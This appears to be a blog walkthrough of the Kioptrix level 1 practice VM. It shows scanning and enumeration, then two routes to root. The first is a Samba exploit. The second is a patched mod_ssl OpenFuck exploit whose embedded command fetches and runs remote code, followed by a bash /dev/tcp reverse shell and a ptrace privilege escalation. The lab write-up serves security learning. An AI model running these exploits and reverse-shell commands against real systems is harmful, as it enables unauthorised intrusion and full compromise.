Skip to content

Vulnerable VM: Kioptrix level 1

I have done a ton of "hackthebox" like challenges in the past. However, I figured I would share here the very first hacking challenge I ever did. My methodology has impoved substantially since I did this, but that is exactly why I believe this is a good post to introduce people to these types of challenges.

Kioptrix level 1 is one of the most well known beginner penetration test VMs. This page describes how I tackled this virtual machine. I will go over multiple solutions that worked for me.

This page will not detail how to setup the virtual machine or your own environment, I personally just used Kali Linux to attack the level, but the various tools used for discovery and enumeration are easily obtainable.

The goal

The goal of Kioptrix level 1 is simple:

  • Gain access to the machine
  • Elevate our privileges
  • Read the email belonging to the root user.

Exploration and Enumeration

The VM is connected to my Kali machine over a host only connection, for me this results in the network interface vmnet1. The first step is to figure out the IP address for the virtual machine. To do this I use netdiscover, which will craft ARP requests and interpret the results.

# netdiscover -i vmnet1 -r 172.16.170.0/16

Which gives me the output

 Currently scanning: Finished!   |   Screen View: Unique Hosts                           
 2 Captured ARP Req/Rep packets, from 2 hosts.   Total size: 84                                                                                     
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 172.16.165.128  00:0c:29:8c:20:0f      1      42  VMware, Inc.                         
 172.16.165.254  00:50:56:f5:be:78      1      42  VMware, Inc.   

172.16.165.254 is an address used by VMWare. So the IP of our target system is 172.16.165.128.

The first thing to do here is to get a scan of all open ports on the target machine and to enumerate the services running on them. To do that, we run nmap

# nmap -p- -A -T4 172.16.165.128 >> nmap_target.txt

I like to store my nmap output in a file so I can easily have a look at it again later. The parameters used here tell nmap to:

  • -p- Scan all ports (-p-)
  • -A Do an aggressive scan, this will, among other things, attempt to detect the services and their versions
  • -T4 Do a fairly fast but possibly less accurate scan

The T4 parameter here is acceptable because we are running on local network and it is unlikely to cause any problems.

We get the following output:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-11 23:00 CEST
Nmap scan report for 172.16.165.128
Host is up (0.00022s latency).
Not shown: 65529 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1           1024/tcp  status
|_  100024  1           1024/udp  status
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2018-08-11T21:02:29+00:00; +1m49s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|_    SSL2_DES_192_EDE3_CBC_WITH_MD5
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:8C:20:0F (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: mean: 1m48s, deviation: 0s, median: 1m48s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.22 ms 172.16.165.128

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 271.21 seconds

We see that there are a couple of services running:

  • OpenSSH 2.9p2 (protocol 1.99)
  • apache 1.3.20 http on port 80 and https on port 443
  • rpcbind on port 111 (with no interesting services)
  • Samba on port 139

It is also very interesting to note that the target box is running Apache Red-Hat/Linux version mod_ssl/2.8.4

Already we see several possible outdated services, but before we go on, it is interesting to see if we can figure out some more information about these services. It would be nice to know the version number for the samba service and we would also like some more information on the apache service.

The first thing I did was point my browser at the apache server to see what was running. It seems like the basic landing page and I did not immediately find anything interesting. With so many possible roads to take I decided not to waste too much time and I just ran a nikto scan on the server.

# nikto -host 172.16.165.128

This gives us a lot more promising leads to look into later:

- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          172.16.165.128
+ Target Hostname:    172.16.165.128
+ Target Port:        80
+ Start Time:         2018-08-12 19:25:33 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep  6 05:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 8345 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time:           2018-08-12 19:27:35 (GMT2) (122 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

We see several OSVDB links and some even mention the possibility of remote code execution. Definitely very promising. But it seems best to first complete the discovery process, lets see if we can find a version for that Samba service.

When dealing with Samba services, it is always a good idea to run enum4linux, which will enumerate information for Windows and Samba hosts.

# enum4linux 172.16.165.128

Which gives us the output (which I have shortened considerably here):

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Aug 12 19:42:05 2018

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 172.16.165.128
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ====================================================== 
|    Enumerating Workgroup/Domain on 172.16.165.128    |
 ====================================================== 
[+] Got domain/workgroup name: MYGROUP

 ============================================== 
|    Nbtstat Information for 172.16.165.128    |
 ============================================== 
Looking up status of 172.16.165.128
	KIOPTRIX        <00> -         B <ACTIVE>  Workstation Service
	KIOPTRIX        <03> -         B <ACTIVE>  Messenger Service
	KIOPTRIX        <20> -         B <ACTIVE>  File Server Service
	..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
	MYGROUP         <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
	MYGROUP         <1d> -         B <ACTIVE>  Master Browser
	MYGROUP         <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

	MAC Address = 00-00-00-00-00-00

 ======================================= 
|    Session Check on 172.16.165.128    |
 ======================================= 
[+] Server 172.16.165.128 allows sessions using username '', password ''

 ============================================= 
|    Getting domain SID for 172.16.165.128    |
 ============================================= 
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ======================================== 
|    OS information on 172.16.165.128    |
 ======================================== 
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 172.16.165.128 from smbclient: 
[+] Got OS info for 172.16.165.128 from srvinfo:
	KIOPTRIX       Wk Sv PrQ Unx NT SNT Samba Server
	platform_id     :	500
	os version      :	4.5
	server type     :	0x9a03

 =========================================== 
|    Share Enumeration on 172.16.165.128    |
 =========================================== 
WARNING: The "syslog" option is deprecated

	Sharename       Type      Comment
	---------       ----      -------
	IPC$            IPC       IPC Service (Samba Server)
	ADMIN$          IPC       IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------
	KIOPTRIX             Samba Server

	Workgroup            Master
	---------            -------
	MYGROUP              KIOPTRIX

[+] Attempting to map shares on 172.16.165.128
//172.16.165.128/IPC$	[E] Can't understand response:
WARNING: The "syslog" option is deprecated
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//172.16.165.128/ADMIN$	[E] Can't understand response:
WARNING: The "syslog" option is deprecated
tree connect failed: NT_STATUS_WRONG_PASSWORD

Sadly, I could not find any version information this way. However, after searching the metasploit database I do notice there is a scanner for samba versions.

auxiliary/scanner/smb/smb_version                normal     SMB Version Detection
# msf > use auxiliary/scanner/smb/smb_version
# msf auxiliary(scanner/smb/smb_version) > set RHOSTS 172.16.165.128
RHOSTS => 172.16.165.128
# msf auxiliary(scanner/smb/smb_version) > exploit
[*] 172.16.165.128:139    - Host could not be identified: Unix (Samba 2.2.1a)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Running this scanner I finally get the version number I was looking for: 2.2.1.a

While there is always more information to be gathered, it seems like we have a lot of promising leads. At this point I decided it was time to start following those leads.

Exploitation (Samba)

I started with the Samba service. Version 2.2.1.a is an outdated version and I remember seeing some mention of code execution earlier while looking for the version scanner. I ran searchsploit to search the exploit.db database.

# searchsploit samba exec

One of the results seemed perfect:

Samba < 2.2.8 (Linux/BSD) - Remote Code Execution    | exploits/multiple/remote/10.c

I grabbed the file, compiled it and tried to run it.

# gcc 10.c -o samba_code_exec
# ./samba_code_exec
Usage: ./samba_code_exec [-bBcCdfprsStv] [host]

-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step>       bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)
-f              force
-p <port>       port to attack (default = 139)
-r <ret>        return address
-s              scan mode (random)
-S <network>    scan mode
-t <type>       presets (0 for a list)
-v              verbose mode

Before going into the details of the exploit, I just tried the bruteforce attack for Linux

# ./samba_code_exec -b 0 172.16.165.128
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)

And there we go. We have root access to the virtual machine. Now I like to create an interactive reverse shell for my convenience. I set up a listener on my local machine

# nc -lvp 8080

And I start an interactive shell over the TCP device interfaces on the remote machine

# bash -i >& /dev/tcp/172.16.165.1/8080 0>&1

Which gives me in my listener terminal the reverse shell. Which we use to capture our flag.

listening on [any] 8080 ...
172.16.165.128: inverse host lookup failed: Unknown host
connect to [172.16.165.1] from (UNKNOWN) [172.16.165.128] 1026
bash: no job control in this shell
[root@kioptrix tmp]# 
[root@kioptrix tmp]# cat /var/mail/root
cat /var/mail/root
From root  Sat Sep 26 11:42:10 2009
Return-Path: <root@kioptix.level1>
Received: (from root@localhost)
	by kioptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
	for root@kioptix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2
Status: O

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

From root  Sat Aug 11 16:26:37 2018
Return-Path: <root@kioptrix.level1>
Received: (from root@localhost)
	by kioptrix.level1 (8.11.6/8.11.6) id w7BKQb301124
	for root; Sat, 11 Aug 2018 16:26:37 -0400
Date: Sat, 11 Aug 2018 16:26:37 -0400
From: root <root@kioptrix.level1>
Message-Id: <201808112026.w7BKQb301124@kioptrix.level1>
To: root@kioptrix.level1
Subject: LogWatch for kioptrix.level1

We have now completed Kioptrix level 1. But I wanted to explore some other possible attack paths, so lets continue with the outdated apache service

Exploitation (Apache ssl_mod)

As we saw before, nikto indicated that this version of apache might be vulnerable to remote code execution:

mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756

We do a search through exploitdb for CVE-2002-0082 and we find an exploit (OpenFuckV2). Lets see if it compiles. I grab the exploit from my local copy of exploitdb

# searchsploit mod_ssl

Apache mod_ssl 2.0.x - Remote Denial of Service                                                             | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow                                                  | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow                                        | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow                                      | exploits/unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow                | exploits/unix/remote/40347.txt
cp /usr/share/exploitdb/exploits/unix/remote/764.c .
mv 764.c OpenFuck.c
gcc -o OpenFuck OpenFuck.c -lcrypto

And we are hit with a ton of compilation errors. Some quick googling shows OpenFuck is a bit outdated and that we need to add some updates to this file. We are stubborn, so lets do exactly that. I added the following includes and defines:

#include <openssl/rc4.h>
#include <openssl/md5.h>

#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16

Replace

#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"

with

#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"

And also replace

if (pkey->type != EVP_PKEY_RSA) {
	...
}
 
/* Encrypt the client master key with the server public key and put it in the packet */
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);

with

if (EVP_PKEY_get1_RSA(pkey) == NULL) {
    ...
}
 
/* Encrypt the client master key with the server public key and put it in the packet */
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);

And now compilation seems to work. Lets try it out!

# ./OpenFuck

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuck target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)

Supported OffSet:
	0x00 - Caldera OpenLinux (apache-1.3.26)
	...
	0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)

So we need to select one of the supported offsets that matches our target box. We detected earlier in the enumeration stage that our target was running Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4. This leaves us with two matches:

0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

So i just tried both and the 0x6b was the correct one.

# ./OpenFuck 0x6b 172.16.165.128 -c 40

*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$ 
-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; net/0304 
--15:48:25--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... 
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05$ 
bash-2.05$ 
bash-2.05$ whoami
whoami
apache

And there we go! Another shell!

But there is a small issue here. We see that we do not have root privileges. This is because the vm I am running does not have access to the internet. This means it is unable to download the ptrace exploit it uses to escalate its privileges. No worries though. this can easily be fixed. We just download the source of the exploit ourselves (or get it from our local exploitdb), use the shell we have to copy the source code to a file on the target, use gcc to compile it. And run the exploit:

[LOCAL]
# cp /usr/share/exploitdb/exploits/linux/local/3.c ptrace_priv_esc.c
# cat ptrace_priv_esc.c | xclip -i

[TARGET SHELL]
# cd /tmp
# vi ptrace_priv_esc.c
 (vi will not properly display because we are not running a full shell, but any commands will still properly register. So just press 'i' + 'middle mouse (or paste)' + 'wq'. Or just use any other terminal editor of your choice)
# gcc ptrace_priv_esc.c -o go
# ./go

[+] Attached to 10042
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...

whoami
root

And there we go. Our second root shell.

An alternative way to send over the exploit source is by using the /dev/tcp devices we also use to bind our reverse bash instance. This works as follows:

[LOCAL]
# nc -lvp 8080 < ptrace_priv_esc.c

[TARGET SHELL]
# cd /tmp
# exec 3<>/dev/tcp/172.16.165.1/8080
# cat <&3 >ptrace_priv_esc.c
# gcc ptrace_priv_esc.c -o go
# ./go

This binds the /dev/tcp device to file descriptor 3. After which it can be catted to a file. This is probably a more elegant way of doing file transfer, but be careful to close the netcat listener on your local machine to terminate the connection, as entering Ctrl+C on the target shell will not only kill the file transfer connection, but also exit your remote shell.